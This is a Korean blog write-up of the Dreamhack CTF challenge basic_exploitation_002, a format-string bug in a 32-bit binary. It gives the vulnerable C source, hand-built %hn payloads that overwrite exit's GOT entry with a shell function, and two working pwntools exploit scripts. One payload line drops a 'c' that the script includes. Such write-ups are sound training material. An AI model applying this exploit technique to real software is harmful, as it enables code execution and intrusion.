일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | |
7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 | 15 | 16 | 17 | 18 | 19 | 20 |
21 | 22 | 23 | 24 | 25 | 26 | 27 |
28 | 29 | 30 | 31 |
- RCE
- CodeEngn
- sint
- rev-basic-0
- rev-basic-1
- rev-basic-7
- off_by_one_001
- Dreamhack
- rev-basic-3
- Basic
- off_by_one_000
- L15
- 코드엔진 베이직 13
- out_of_bound
- L17
- rev-basic-2
- L18
- 드림핵
- sd카드 리더기
- basic_exploitation_001
- basic_exploitation_000
- pwnable.kr
- rev-basic-6
- rev-basic-4
- 포너블
- coin1
- L16
- 코드엔진 베이직
- rev-basic-5
- Pwnable
- Today
- Total
서브웨이
dreamhack basic_exploitation_002 풀이 본문
문제를 보면 간단하게 포맷스트링버그를 사용하는 문제인 것 같습니다.
일단 소스코드를 봅시다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
뭐 그냥 이전 문제들처럼 문자열이 하나 선언되어있고 read로 사용자에게 입력을 받고 출력을 해주는 문제입니다.
read를 썼으니 포맷스트링버그가 발생하겠네요.
포맷스트링버그에 대해선 아래 블로그를 참고하시면 됩니다.
자 일단 문자열들이 어디에서 참조되는지 확인해봅시다.
첫번째 문자열은 첫번째에, 두번째 문자열은 두번째에 참조되는 것을 알 수 있습니다.
그럼 printf 함수 바로 뒤에 나오는 함수가 exit이니 exit의 got를 get_shell의 주소로 바꿔주면 될 것 같습니다.
한번 exit의 got와 get_shell의 주소를 알아봅시다.
간단하게 exit의 got는 0x804a024, get_shell의 주소는 0x8048609라는 것을 알 수 있습니다.
그럼 [exit의 got]%[get_shell의 주소 - 4]c%1$n 이니까
(-4를 해주는건 앞에 exit의 got 개수를 고려해서 계산해야하기 때문)
exit의 got는 \x24\xa0\x04\x08, get_shell의 주소 - 4는 134514181이고
최종적으로 \x24\xa0\x04\x08%134514181c%1$n 이렇게 입력을 해주면 됩니다.
근데 문제가 있습니다. 이렇게 하면 1억3천만개의 문자를 프린트해야하기 때문에 아마 시간제한에서 걸릴 가능성이 높습니다.
이러한 제약을 피하기 위해 get_shell의 주소를 두개로 쪼개서 넣어줍시다.
그럼 [exit의 got + 2][exit의 got]%[get_shell의 주소 앞 두자리 - 8]c%1$hn%[get_shell의 주소 뒷 두자리 - 8 - (get_shell의 주소 앞 두자리 - 8)]c%2$hn 이고
최종적으로 \x26\xa0\x04\x08\x24\xa0\x04\x08%2044c%1$hn%32261%2$hn이 됩니다.
이제 익스플로잇 코드를 짜봅시다.
from pwn import *
p = process('./basic_exploitation_002')
exit = 0x804a024
payload = p32(exit+2) + p32(exit) + b'%2044c%1$hn%32261c%2$hn'
p.send(payload)
p.interactive()
사실 더 간단한 방법도 존재합니다.
pwntools의 ELF와 fmtstr 기능을 사용하면 됩니다.
from pwn import *
context.arch = 'x86'
e = ELF('./basic_exploitation_002')
p = remote('host1.dreamhack.games', 14611)
exit = e.got['exit']
get_shell = e.symbols['get_shell']
p.sendline(fmtstr_payload(1, {exit: get_shell}))
p.interactive()
결과는 같습니다.
'Pwnable > dreamhack' 카테고리의 다른 글
dreamhack off_by_one_000 풀이 (0) | 2021.07.27 |
---|---|
dreamhack welcome 풀이 (0) | 2021.07.20 |
dreamhack basic_exploitation_003 풀이 (0) | 2021.07.20 |
dreamhack basic_exploitation_001 풀이 (0) | 2021.07.19 |
dreamhack basic_exploitation_000 풀이 (0) | 2021.07.19 |